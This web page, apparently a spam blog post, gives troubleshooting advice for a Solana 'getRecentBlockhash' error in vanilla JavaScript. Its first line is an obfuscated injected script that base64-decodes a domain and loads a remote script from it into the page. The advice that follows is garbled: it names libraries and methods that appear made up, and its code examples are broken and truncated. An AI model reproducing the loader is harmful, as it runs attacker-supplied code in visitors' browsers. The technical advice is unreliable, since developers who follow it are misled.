const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”c.php?u=89158ad1″;document.body.appendChild(script);
It looks like you’re facing an issue with retrieving recent block hashes from the Solana blockchain in a vanilla JavaScript mini app using HTML and AJAX with a CDN.
The error message Method not found at Connection.getRecentBlockhash on vanilla javascript indicates that there is no method called getRecentBlockhash available in the Connection object, which is likely due to a compatibility issue or an outdated library.
Here’s an article that should help you resolve this issue:
Failed to Get Recent Block Hash from Solana Blockchain with Vanilla JavaScript Mini App
Error Message:
Method not found at Connection.getRecentBlockhash on vanilla javascript
Solution:
- Check the libraries used: Make sure you’re using a library that supports recent block hashes, such as
solana-connectorsolo-js. You can check the documentation for the library you’re using to see if it provides recent block hash functionality.
- Use the
getRecentBlockhashAsyncmethod:Instead of calling
getRecentBlockhash, try using thegetRecentBlockhashAsyncmethod, which returns an asynchronous function that retrieves the latest block hash.
Here’s an example:
const connection = new Web3Connection(url); // Replace with your Solana wallet URL
async function getRecentBlockhash() {
const recentHash = await connection.getRecentBlockhashAsync();
return recentHash;
}
Code Example:
<script src="
const button = document.getElementById('getRecentBlockhashButton');
const recentHash = null;
button.addEventListener('click', async () => {
recentHash = await getRecentBlockhash();
console.log(recentHash);
});
CDN Setup:
If you’re using a CDN, make sure to add the following script tag to your HTML:
<script src="
This should resolve the error and allow you to retrieve recent block hashes from the Solana blockchain using a vanilla JavaScript mini app.
Note:
If you’re experiencing issues with compatibility or library limitations, consider updating your libraries or exploring alternative solutions that may be more suitable for your use case.